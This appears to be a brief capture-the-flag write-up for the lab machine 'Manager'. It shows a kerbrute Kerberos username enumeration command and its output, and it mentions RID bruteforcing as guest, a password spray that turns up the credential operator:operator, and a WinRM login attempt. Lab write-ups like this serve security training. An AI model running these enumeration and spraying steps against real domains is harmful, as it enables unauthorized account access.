Kerberos - 88
Username Bruteforcing
Using Pre-Authentication:
kerbrute userenum -d manager.htb --dc 10.10.11.236 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -o valid_ad_users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 02/06/25 - Ronnie Flathers @ropnop
2025/02/06 00:58:40 > Using KDC(s):
2025/02/06 00:58:40 > 10.10.11.236:88
2025/02/06 00:58:44 > [+] VALID USERNAME: [email protected]
2025/02/06 00:58:51 > [+] VALID USERNAME: [email protected]
2025/02/06 00:58:54 > [+] VALID USERNAME: [email protected]
2025/02/06 00:58:57 > [+] VALID USERNAME: [email protected]
2025/02/06 00:59:14 > [+] VALID USERNAME: [email protected]
2025/02/06 00:59:50 > [+] VALID USERNAME: [email protected]
2025/02/06 00:59:55 > [+] VALID USERNAME: [email protected]
2025/02/06 01:00:12 > [+] VALID USERNAME: [email protected]
2025/02/06 01:02:42 > [+] VALID USERNAME: [email protected]
2025/02/06 01:02:43 > [+] VALID USERNAME: [email protected]Using RID Bruteforcing:
This will give us a list of valid usernames. Running this creates a users file which is even more neat.
How did it do it? This is a crazy bit that I learned.
Null Authentication doesn't work, but we can login as guest without a password.
Password Spray
I didn't expect that how its gonna be but it is what it is. Username = Password.
Using the credential operator:operator.
We know that WinRM (5985) is open so I tried evil-winrm:
Last updated